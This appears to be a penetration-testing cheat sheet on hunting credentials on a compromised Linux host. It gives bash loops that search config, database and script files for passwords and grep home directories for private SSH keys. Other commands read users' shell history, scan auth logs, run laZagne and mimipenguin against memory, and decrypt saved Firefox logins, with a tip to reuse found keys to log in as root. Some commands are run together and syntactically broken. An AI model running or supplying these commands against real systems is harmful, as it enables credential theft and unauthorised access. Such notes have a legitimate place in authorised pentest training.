Searching for Credentials

Searching for Sensitive Files

Key extensions: .conf, .config, .cnf (configuration); .txt, .sh, .py, .db (notes, scripts, databases).

Config Files

bash
for ext in ".conf .config .cnf"; do  echo "Buscando $ext:";  find / -type f -name "*$ext" 2>/dev/null | grep -v "lib\|fonts";done
bash
for file in $(find / -name "*.cnf" 2>/dev/null); do  echo "Analizando $file";  grep -i "password" $file;done

Databases

bash
for l in $(echo ".sql .db .*db .db*"); do  echo -e "\nDB File extension: " $l  find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man"done

Scripts

bash
for l in $(echo ".py .pyc .pl .go .jar .c .sh"); do  echo -e "\nFile extension: " $l  find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share"done

Cronjobs

Review /etc/crontab, /etc/cron.d/, /etc/cron.daily, etc. Sometimes credentials can be found in scripts run by cron.

SSH Keys

IMPORTANT: if PermitRootLogin is enabled, we can use the key to log in as root
terminal
$ ssh -i id_rsa root@ip$ grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"$ grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"

Command History

terminal
tail -n 10 /home/*/.bash_history

Logs

/var/log/messages, /var/log/syslog, /var/log/auth.log (Debian), /var/log/secure
bash
for i in $(ls /var/log/* 2>/dev/null); do  GREP=$(grep "accepted\|session opened\|failure\|failed\|ssh\|password changed\|new user\|sudo\|COMMAND=" $i 2>/dev/null)  if [[ $GREP ]]; then echo -e "\n#### Log file: " $i; echo "$GREP"; fidone

Memory and Cache

terminal
$ python3 laZagne.py allbash mimipenguin.sh

Browsers

terminal
$ ls -l .mozilla/firefox/ | grep default$ cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .
Then we decrypt the creds with firefox_decrypt. IMPORTANT: we may need to use python3.9 firefox_decrypt.py